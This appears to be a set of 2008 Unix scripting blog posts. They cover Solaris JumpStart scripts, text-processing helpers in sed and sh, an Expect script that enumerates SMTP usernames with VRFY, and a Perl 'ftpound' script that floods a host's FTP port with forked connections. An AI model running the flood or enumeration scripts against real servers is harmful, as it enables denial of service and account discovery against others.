Begin and Finish scripts are simple shell scripts used to perform any additional customization to your JumpStart installation process that you deem necessary. As I noted yesterday, a lot of this has now been "supplied" for you if you use Solaris' JASS or SST setups. However, these core scripting concepts are still at the heart of those utilities (and I use that word in its primary sense: The setups are utile :).

Begin scripts serve as pre-installation scripts. They won't affect the custom look and feel of your newly installed client, but can be used to perform critical safety routines, such as backing up the hard drive to tape, before beginning the install and creating Derived Profiles, as per the post mentioned above.

Finish scripts are generally more complex, as they're mosty used to customize your newly installed system (everything from installing packages and patches to creating a company standard subdirectory structure).

Some rules and characteristics that apply to both Begin and Finish scripts are:

1. They should be written in either /bin/sh, /sbin/sh, /bin/ksh or any other common shell.

2. All commands should be given as absolutes, unless the commands are shell primitives.

3. FINISH SCRIPTS ONLY: Remember that the new filesystem is mounted on /a before the post-installation reboot and on / afterward. When copying files over you will need to write the command as such:

cp /usr/bin/someprog /a/usr/bin/

in order to copy someprog from the install server's /usr/bin directory to the install client's /usr/bin directory.

4. BEGIN SCRIPTS ONLY: Remember that the existing filesystem is mounted on /tmp before the installation begins. When copying or listing files from the existing filesystem you need to the type the command like:

ls /tmp/usr/bin/someprog

to list the someprog file in the existing filesystem's /usr/bin directory.

5. Standard comments (lines beginning with the pound (#) character) may be included and announcements may be echoed without adversely affecting the outcome of the script.

6. These scripts should be owned by root and have 644 permissions.

7. The output from the scripts will be written to /var/sadm/system/logs/finish.log or /var/sadm/system/logs/begin.log on the install client.

Below, I've included both a detailed Begin and Finish script that have actually been used successfully. They employ Unix shell scripting techniques and moderate complexity only to demonstrate how much freedom you have when creating these kinds of scripts. The Begin script is kept simple since we went into more detail on that previously. They're commented liberally to avoid the annoyance (for both you and me) of beating you over the head with the same things, twice in a row, to get the meaning across :)

Also note that the instances in the scripts, where we insert control characters, are not typed literally as they appear. For more about how to represent actual control character sequences in a script, check out this post from the past.

Best Wishes,





These works are licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License


1. Example Begin Script:

#!/bin/sh 

#
# begin - do a preinstallation backup 
# generic run - unused slices aborted and 
# skipped by ufsdump. 
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

TAPE=/tmp/dev/rmt/0mn DISK=/tmp/dev/dsk
mt -t $TAPE rewind
ufsdump 0f $TAPE $DISK/c0t3d0s0
ufsdump 0f $TAPE $DISK/c0t3d0s1 
ufsdump 0f $TAPE $DISK/c0t3d0s3 
ufsdump 0f $TAPE $DISK/c0t3d0s4 
ufsdump 0f $TAPE $DISK/c0t3d0s5 
ufsdump 0f $TAPE $DISK/c0t3d0s6 
ufsdump 0f $TAPE $DISK/c0t3d0s7
mt -t $TAPE rewind

#!/sbin/sh

#
# finish - custom installation parameters script
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

################################################
# Setup root environment
################################################

echo "Setting up root environment"
echo ""
cat > /a/.profile << END
stty erase ^H
stty intr ^C
TERM=vt100
PATH=/usr/sbin:/usr/bin:/usr/local/bin:/usr/ccs/bin:/usr/ucb
MANPATH=/usr/man:/usr/local/man
LD_LIBRARY_PATH=/usr/lib:/usr/local/lib
export TERM PATH MANPATH LD_LIBRARY_PATH
END

################################################
# Setup crons
################################################

echo "Installing root crontab"
echo ""
cp ${SI_CONFIG_DIR}/jclient_root_dir/root /a/usr/spool/cron/crontabs/root

################################################
# Copy over precustomized etc dir files
################################################

echo "Copying over precustomized etc dir files"
echo ""
for x in `ls ${SI_CONFIG_DIR}/jclient_etc_dir`
do
    cp -R ${SI_CONFIG_DIR}/jclient_etc_dir/$x /a/etc/
done

################################################
# Ensure sendmail points to custom built v8
################################################

echo "Ensuring sendmail points to custom built v8"
echo ""
rm -f /a/etc/mail/sendmail.cf
rm -f /a/etc/sendmail.cf
ln -s mail/sendmail.v8 /a/etc/sendmail.cf
ln -s sendmail.v8 /a/etc/mail/sendmail.cf
rm -f /a/usr/lib/sendmail
cp ${SI_CONFIG_DIR}/jclient_etc_dir/usrlibsendmail /a/usr/lib/sendmail
chown root:bin /a/usr/lib/sendmail
chmod 4551 /a/usr/lib/sendmail

################################################
# Create local dirs and ship over files
################################################

echo "Creating local dirs and shipping over files"
echo ""
mkdir /a/usr1/local
ln -s /usr1/local /a/usr/local
cd /a/usr1/local
for x in `ls ${SI_CONFIG_DIR}/jclient_local_dir`
do
    echo "Disting $x"
    cp ${SI_CONFIG_DIR}/jclient_local_dir/$x /a/usr1/local/$x
    echo "Uncompressing $x"
    uncompress /a/usr1/local/$x
    new_x=`echo $x|cut -d'.' -f1,2`
    echo "Untarring $new_x"
    tar xf /a/usr1/local/$new_x
    echo "Removing $new_x"
    echo ""
    rm -f /a/usr1/local/$new_x
done

################################################
# Take care of some admin packages we need.
################################################

echo "Loading up monitoring and admin software"
echo ""
cd /a/u
for x in `ls ${SI_CONFIG_DIR}/jclient_sys_dir`
do
    echo "Disting $x"
    cp ${SI_CONFIG_DIR}/jclient_sys_dir/$x /a/u/$x
    echo "Uncompressing $x"
    uncompress /a/u/$x
    new_x=`echo $x|cut -d'.' -f1,2`
    echo "Untarring $new_x"
    tar xf /a/u/$new_x
    echo "Removing $new_x"
    echo ""
    rm -f /a/u/$new_x
done

################################################
# Set up a few user accounts
################################################

echo "Setting up initial user accounts"
echo ""
for x in `echo username1 username2 sysadmin`
do
    echo "$x..."
    echo ""
    mkdir /a/u/$x
    cat > /a/u/$x/.profile <<- END
    stty erase ^H
    stty intr ^C
    set -o vi
    TERM=vt100
    PATH=/usr/sbin:/usr/bin:/usr/local/bin:/usr/ccs/bin:/usr/ucb
    MANPATH=/usr/man:/usr/local/man
    LD_LIBRARY_PATH=/usr/lib:/usr/local/lib
    export TERM PATH MANPATH LD_LIBRARY_PATH
    END
done
cat ${SI_CONFIG_DIR}/jclient_users_dir/PWDFILE >>/a/etc/passwd
cat ${SI_CONFIG_DIR}/jclient_users_dir/SHADFILE >>/a/etc/shadow

################################################
# Verify root password is set
################################################

PASSWD=ez89iik4rj77d
cp /a/etc/shadow /a/etc/shadow.orig
nawk -F: '{ 
    if ( $1 == "root" ) 
        printf"%s:%s:%s:%s:%s:%s:%s:%s:%s\n",$1,passwd,$3,$4,$5,$6,$7,$8,$9
    else
        printf"%s:%s:%s:%s:%s:%s:%s:%s:%s\n",$1,$2,$3,$4,$5,$6,$7,$8,$9
}' passwd="$PASSWD" /a/etc/shadow.orig > /a/etc/shadow
perm=`grep '^/etc/shadow e' /a/var/sadm/install/contents | (read f1 f2 f3 f4 f5 ; echo $f4)`
chmod $perm /a/etc/shadow
rm -f /a/etc/shadow.orig
sed -e 's/0 # root/1 # root/' ${SI_SYS_STATE} > /tmp/state.$$
mv /tmp/state.$$ ${SI_SYS_STATE}
echo "All set!"

For today's post, I wanted to take a look at a part of Solaris JumpStart that (with the advent of JASS and SST) not many administrator's avail themselves of anymore. Derived Profiles. It's true that they've always had a limited usefulness, but I always thought they were good things to know how to create. And, they still work with Jumpstart to this day!

Derived profiles (basically, Unix shell scripts) enable the Solaris JumpStart administrator to create custom profiles, or class files, on the fly. These are useful when the similarity between two machines would result in the creation of convoluted, or impossible, rulesets in the rules file to distinguish between them (Obviously, this doesn't apply if you keep your ruleset matches to hostnames. I hope ;)

To use a derived profile on Solaris, the ruleset that matches the particular machine must have its profile_script variable replaced by an equals (=) sign and the begin_script field set to the name of the begin script that will be creating the derived profile.

Ex:
! karch sun4c && memsize 128 profile_script = finish_script

Normally, at the end of the ruleset after the match criteria, you'd see something like:

begin_script profile_script finish_script

More often than not, that old standard would be written as:

- profile_script finish_script

since begin scripts aren't used very much anymore (as noted above).

But the "=" sign that indicates you'll be deriving a profile, makes it so the place in the argument where the begin_script name would normally reside should become the name of the profile_script you're going to derive through creative scripting. You can name your derived profile shell script "begin_script," but it might cause confusion. Depending on how you process thought, one way is more intuitive than the other. And, as luck would have it, neither are wrong :)

And, that's all there is to that. When a given machine matches the indicated ruleset, the begin script will create the profile, or class file, according to the instructions provided by your begin script. The more advanced your scripting skills, the more useful and practical these simple Unix scripts can, ultimately, be for you. With a little bit of work, you might be able to save yourself a lot of repetitive scripting in the future.

Assuming you still like to do it the old-fashioned way, like me ;)

Cheers,

Example Derived Profile script To Handle Locally Attached Disk:





This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/sh

#
# This script parses the install clients /dev/dsk directory,
# passes over all non-disks and uses all available disks for
# the OS install.
#
# Note that $SI_PROFILE is automatically defined by Solaris
# and begin scripts execute with the main disk mounted on /tmp
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

#!/bin/ksh

echo "install_type initial_install" >>${SI_PROFILE}
echo "system_type standalone" >>${SI_PROFILE}
echo "partitioning default" >>${SI_PROFILE}
echo "cluster SUNWCreq" >>${SI_PROFILE}
ls /tmp/dev/dsk |while read line
do
    notdisk=`echo $line|cut -d"t" -f2|cut -d"d" -f1`
    disk=`echo $line|cut -d"s" -f2`
    if [ $notdisk -gt 3 ]
    then
        continue
    elif [ $disk -eq 2 ]
    then
        whole=`echo $line|cut -d"s" -f1`
        echo "usedisk $whole" >>${SI_PROFILE}
    else
    continue
    fi
done

Hey There,

Another lazy Saturday (actually, I'm just finishing a fun 7pm to 5am shift), so I thought I'd kick it off by touching on a subject we've never addressed in any of our Unix or Linux shell scripts. I expect you know what I'm talking about if you've read the title (There was almost no way around making a bad joke there ;)

Expect is a great tool to incorporate in a shell script when you need to fake some form of human interaction. For instance, if you need to do some complex work over Telnet or SSH. We'll get into more complicated scripts later, and tailor them for both Linux and Unix. Today, I snapped out a quick Expect script to introduce the language. If you've been around long enough (or had the pleasure) to use chat, Expect is probably going to seem fairly familiar. Its name explains the core functionality. It "expects" some sort of input (That you determine or decide) and reacts on it when it finds it (which action you also dictate).

For today, just take a look at this script, and you can see what I mean. The language, itself, is an extension of the TCL language, which makes it easy to program in all on its own (and get very creative with ;) Most of the commands are self-explanatory, and you'll note that lines like:

expect -re "220 .*\r\n"

are instructions to the Expect shell telling it to react when it recognizes that particular regular expression (as denoted with the "-re" flag). Basically, it's going to wait for a line to pass into its buffer that reads "220 whatever" ending with a carriage return and then react on that.

Another interesting thing, that ties into the above, and should be a mainstay of Unix and Linux Expect scripting, is the "timeout" variable. This is set in the script at the top:

set timeout 10

but can be set multiple times in the script and (given the default value I've chosen) can be left out if you want to go with the standard 10 second timeout. This directive tells Expect that, when it's expecting something, if it doesn't find it in 10 seconds, it should move on to the next line.

The little script below simply connects to a server's SMTP port and attempts to issue the VRFY command to determine if a user name is good or not. Now, most servers won't respond to that command, due to growing security problems with its use (or misuse ;), but this is just an example. And it may just work.

The last line ("interact") tells Expect it's time for you the user to do your thing. You can escape out of this by ending the currently spawned process (the SMTP prompt). You can just type "quit", or ctl-C, and the remainder of script will process. In this case, you'll get a shell prompt, as the script ends with that line :)

Enjoy,





This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/local/bin/expect

#
# lame example script.  Connect
# to a mail server and see if we
# can verify usernames
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

set timeout 10
send_user "Checking...\n"
log_user 0
set wordfile $argv
eval spawn telnet localhost 25
expect -re "220 .*\r\n"
set wf [open $wordfile]
while {[gets $wf buf]!=-1} {
        set word $buf
 send_user "$word... "
 send "VRFY $word\r"
 expect {
  -re "2.. .*\r\n" {
  send_user "Good!\n"
  }
  -re "5.. .*\r\n" {
  send_user "Bad!\n"
  }
 }
 continue
}
interact

For today's post, I thought I'd put something out that deals with a subject we've touched on in a previous post, and combine it with a new concept to write a Perl script for Linux or Unix that should be able to run under any shell. When you read the code, you may notice that it closely resembles (if not entirely resembles ;) a network based attack. For our purposes, we'll refer to it as a "stress test" and remind ourselves that it's not a good idea to randomly slam other folks' machines. It's almost instant bad Karma, since you end up depleting all your shell resources running it.

The reason that the sort of scripting we're doing here has the potential to bring down the machine its running on (and, odds are, it won't be able to do enough to crash any other server in the process), is because we're not just doing a simple sequenced packet stress test. In our example today, we're making use of the fork function. This is a built-in function that gets executed behind the scenes on every Unix and/or Linux shell. For instance, if you type the following you'd get similar output:

host # ps -fu username
UID PID PPID C STIME TTY TIME CMD
username 28090 28088 0 17:25:51 pts/17 0:00 -ksh

Then, if you just type something as simple as:

host # bash
host # ps -fu username
UID PID PPID C STIME TTY TIME CMD
username 28090 28088 0 17:25:51 pts/17 0:00 -ksh
username 28160 28090 0 17:26:14 pts/17 0:00 bash

you'll notice that your shell process ID - 28090 - (from the original line of output) has become the parent process ID of the bash shell you've just invoked - 28160. Your Linux or Unix shell did this by first forking a process off from your main process ID, and then running exec. If you run exec, it replaces the original process with the new process, but that's for another day. I'm already digressing ;)

Check out this forking Perl code (no joke intended ;) and you can see how it's implemented. The basic truths hold for most shells and are put to use (again, behind the scenes) whenever you run any scripts or commands that do anything.

Please remember that this Perl code is just a little Unix and Linux scripting primer and is not meant to be used to the detriment of others. Be kind; relax and rewind ;)

Cheers,





This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/local/bin/perl

#
# ftpound - change to whatever port you
# want to stress test.
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

use Socket;
require 5.002;

$port = 21;
$multi = 100;
$forks = 100;
chomp($remote=$ARGV[0]);
if ( $#ARGV != 0 ) {
 print "Usage: ftpound [host name or IP]\n";
 exit;
}  
if ($port =~ /\D/) { $port = getservbyname($port, 'tcp') }
&mail_out unless $port;
$iaddr = inet_aton($remote);
$paddr = sockaddr_in($port, $iaddr);
$multiforks = $multi * $forks;
while ( $forks != 0 )   {
        unless (fork)   {
                &fork_off;
  sleep 1;
        }
        $forks--;
}
exit;

sub fork_off {

 $a = 0;
 $hammertime = $multiforks;
 while ( $hammertime != 0 ) {
  $binger = "HEAVE${a}HO";
  socket($binger, AF_INET, SOCK_STREAM, IPPROTO_TCP) or &clogged_up;
  connect($binger, $paddr) or &clogged_up;
  send($binger, "help", 6) or &clogged_up; 
  $hammertime--;
  $a++;
  if ( $a == 60 ) {
   $a = 0;
  }
 }
}

sub clogged_up   {

 print "If it ain't down yet, it will be in a second...\n";
 $hammertime--;
 $a++;
 next;
}

As I note in the header of this script it's somewhat imperfect. In fact, for the most part it may be almost completely obviated by the last few years of advancements in OS translation of the manpage itself. It is, however, another example of just how crazy you can get with sed.

Back in the day (and I still see this from time to time on some current Unix and Linux systems), if you redirected the output of "man whatever" to a file, like so, in order to get the manpage without using sed, or some other information-massager:

man whatever > OUTPUTFILE

you'd end up with a script full of garbage. Not that it was completely unreadable, but you'd have to filter out all the markup language graffiti on your own (in your head, if possible ;)

That's what prompted me to begin work on stripping down a garbage-output manpage to a simple, and easily readable, file using sed. You may notice, if you need to do this kind of translation and use this method, that a few markup language remnants remain. Feel free to embellish this work to remove them as well. The final section of the script is the easiest place in which to do this. Which also answers the question: Why so many individual replacements and not just one compact regular expression? As noted above, this is a work in progress that I'm trying to make work for a lot of different flavors (and versions) of Linux and Unix. Once I feel that I've run down every possible marker, I'll make it a lot tidier and wrap it up with a bow ;)

Enjoy,





This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/sh
#
# Semi-Imperfect Man-Source To Regular-File Translator
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

echo >> $1.txt 

sed -e '1,/NAME/d' -e '/^\.\\"/d' -e 's/^\.if//' -e '/^\.TH/d' -e '/^\.de/d' -e '/^\.ds/d' -e '/^\.ll/d' -e '/^\.in/d' -e '/^\.ti/d' -e '/^\.ie/d' -e '/^\.br/d' -e '/^\.el/d' -e 's/^\.\.//' -e 's/^\.SH\(.*\)/\1\
/' -e '/^\.nr/d' -e '/^\\f/d' -e '/^\.}f/d' -e '/SYNOPSIS/i\
' -e '/COPYRIGHT/i\
' -e '/DESCRIPTION/i\
' -e '/SEE ALSO/i\
' -e 's/\.PP//' -e '/^\.PD/d' -e 's/^\.BR//' -e '/^\.BI \\/{
N
s/\.BI \\/ /g
s/\n/ /g
}' -e '/^\.B \\/{
N
s/\.B \\/ /g
s/\n/ /g
}' -e '/^\.B/{
N
s/\.B/ /g
s/\n/ /g
}' -e '/^\.IR/{
N
s/\.IR//g
s/\n/ /g
}' -e 's/\.SB//' -e '/\.TS/d' -e '/\.TE/d' -e 's/^\.IX//' -e '/\.LP/d' -e 's/\.TP *[0123456789]*//g' -e 's/\\fB//g' -e 's/\\fR//g' -e 's/\\fP//g' -e 's/\\fI//g' -e 's/\\| *//g' -e 's/ n //g' -e 's/ t //g' -e 's/\\^ *//g' -e 's/\\//g' -e 's/\.FN//g' -e 's/\.I//g' -e '/^\.SM/d' -e 's/^\.RS//' -e 's/^\.RE//' -e 's/\.SS//g' $1 >> $1.txt

Today's script is a follow up to yesterday's post in which we'll join letters of a word that we previously split up into an array. In a Unix shell script, it's relatively simple to do this using any number of methods. For our purposes today, we're going to make it difficult ;)

In today's Unix shell script, we've again written it in sh, for maximum portability between systems. You'll also note that, because of this, we're, again, going to use some very basic methods to get the results we want. As noted, the Bourne shell doesn't provide a lot of the conveniences we've come to expect from the more advanced shells, which necessitates a bit more scripting on our part.

Take a look at today's script and notice how we deal with arrays. Since the Bourne shell does not provide a facility for creating or using arrays, we (essentially) have to fake them. As Unix shell scripting goes, this can be a confusing way to attack the problem. Although, a more accurate statement would probably be that mastering these sorts of Unix scripting methods, and being able to fall back on them, will put you in a position where you will always be able to write a script to accomplish what's required. Who needs all those fancy high-level shell built-in's anyway ;)

Hopefully, you'll find this interesting and helpful.

Best Wishes,





This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/sh

########################################
# shjoin - mash arrays into strings
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Usage - shjoin IFS ${array[@]}
#
# Notes - If IFS is a space, or other 
# shell meta-character, be sure to quote
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#
########################################

argvcount=$#

if [ $argvcount -lt 2 ]
then
 exit 1
fi 

TMPIFS=$1
shift
ARRAY=$@

string=`for x in $ARRAY
do
 if [ $x = "\0" ]
 then
  echo " $TMPIFS\c"
 else
 echo "$x$TMPIFS\c"
 fi
done`
newstring=${string}

echo $newstring

Today's script is going to deal with a problem I've run into from time to time when trying to split words into an array. In a Unix shell script, it's easy, using tools like awk, to split lines into arrays of words; but trying to split a word into an array of characters can sometimes be difficult, if not impossible, given the limitations of the tools at your disposal.

In today's Unix shell script, you'll see that we've written it in sh, for maximum portability between systems. You'll also note that, because of this, we're forced to use some old-style methods to get the results we want. The Bourne (and/or Posix) shell, as wonderful as it is, doesn't provide a lot of the conveniences we've come to expect from the more advanced shells.

Take a look at today's script and notice the prevalent use of expr. There are a million ways you can use this, as a tool in your Unix shell scripting arsenal, to simulate anything the more advanced shells can do. In fact, it would probably be more correct to state that the more advanced shells create their user-friendly built-in commands using these sorts of Unix scripting methods and hiding them from the user. It is, after all, a matter of convenience. No sense in re-inventing the wheel unless you need to ;)

Hopefully, you'll find this interesting and useful. Tomorrow, we'll look at an equally nitty-gritty script that will do the exact opposite.

Cheers,





This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/sh

############################################
# shsplit - split words with null delimiter.
#
# 2008 - Mike Golvach - eggi@comcast.net #
#
# Usage - shsplit string
#
# Notes - If string contains spaces, be sure
# to quote it. If you're trying to split a
# string with a delimiter, use awk.
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#
############################################

argvcount=$#
expr=/path/to/your/expr

if [ $argvcount -eq 0 -o $argvcount -gt 1 ]
then
exit 1
else
string=$1
letters=`$expr "$1" : '.*'`
fi

basecount=0
dotcount=1

while [ $basecount -ne $letters ]
do
dots=`$expr substr "$string" $dotcount 1`
spacetest=`$expr "$dots" : ' '`
if [ $spacetest -eq 1 ]
then
eval array$basecount="\\\0"
else
eval array$basecount="$dots"
fi
dotcount=`$expr $dotcount + 1`
basecount=`$expr $basecount + 1`
done

basecount=0

while [ $basecount -ne $letters ]
do
eval echo "\$array$basecount"
basecount=`$expr $basecount + 1`
done

Hey there,

If you've ever found yourself stuck in a spot where you needed to convert an html page to straight up text (for whatever reason), today's script might be a nice addition to your tool-kit. It's been tested in ash and bash on Linux and on sh, ksh and bash for Solaris.

The main reason I wrote this script was to break down html pages (at the code level) by removing all the html tags, while leaving all the comments. I primarily prefer to do this, when I can, in the shell rather than cut-and-paste from Firefox or Internet Explorer since the cut-and-paste method has a nasty habit of removing all formatting. Well, that's not entirely true. The carriage returns do usually manage to make it through unscathed ;)

This shell script is basically a wrapper for a few sed commands. While most readers are probably somewhat familiar with sed and how to use it, I find that a lot of folks on the forums request help when it comes to using some of its more advanced functionality, like matching patterns across multiple lines. This script matches (and removes) any tags that begin with the "<" character and end with the ">" character. I use it for html, but it could easily be used (without any porting at all) on any markup language file that uses the same tagging convention.

For clarity, I split up the single-line match from the multi-line match. You'll note that the second invocation of sed is where we write our expression to work on a html tag-pair that spans any number of lines greater than one. We'll go into that more in a future post, but for now, note that we basically find all opening "<" characters that don't have an ending ">" character on the same line, and consume everything on every line all the way up to, and including, the ending ">" character. The simplest solution, once we've determined that we're going to traverse multiple lines, is to replace all newlines ("\n") with spaces. So, basically, when we do the multi-line match, we're converting that multi-line entry into a single line so that the match can be made. As I said, this subject can be a little too convoluted to go into too much detail for the purposes of this post ;)

I've called this script htstrip (call it whatever you like) and you can invoke it like this:

host # ./htstrip filea fileb filec <-- Doesn't matter what the file names are; they don't have to be .htm files, etc.

And, as an example. This is the type of output you could expect to see:

host # cat filea.htm
<a> bob1 </a>
<a> bob2
</a>
<a> bob3
bob4
</a>
<!-- this is
a comment
-->
<a> bob5
bob6
bob7
</a>
host # ./htstrip filea.htm
host # cat filea.htm <-- Note that our original file is saved as filea.htm.old, just in case
bob1
bob2
bob3
bob4
<!-- this is
a comment
-->
bob5
bob6
bob7

Note, that, as I mentioned in the title, I've purposefully made it so that standard html comments will remain. If you don't want these in your output either, a small modification to the script can make sure those go away too. Note also that we use shorthand in the "for x" loop. This post has nothing to do with that, but it's nice to know that you don't need to write "for x in BLAH" if you're using the default input. Technically, it's a better idea to use the full form. Especially if you're writing a huge script or are dealing with issues of scope, etc. ...For another day.

Hope this helps you out :)





This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/sh

#
# htstrip - 2008 - Mike Golvach - eggi@comcast.net
#
# Usage: htstrip filea fileb filen
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License;
#

trap 'rm -f temp temp2 temp3;exit 1' 1 2 3 9 15

if [ $# -lt 1 ]
then
        echo "htstrip needs to know what files you want to strip!"
        exit 1
fi
for x
do
        sed -e 's/<[^>]*>//g' $x >> temp
        sed -e '/<[^>]*$/{
                $!N
                /^[^>]*>/{
                        s/\n/ /
                        s/<[^>]*>//g
                        }
                }' temp >> temp2
        sed -e '/^ *$/d' temp2 >> temp3
        rm temp temp2
        mv $x ${x}.old
        mv temp3 $x
done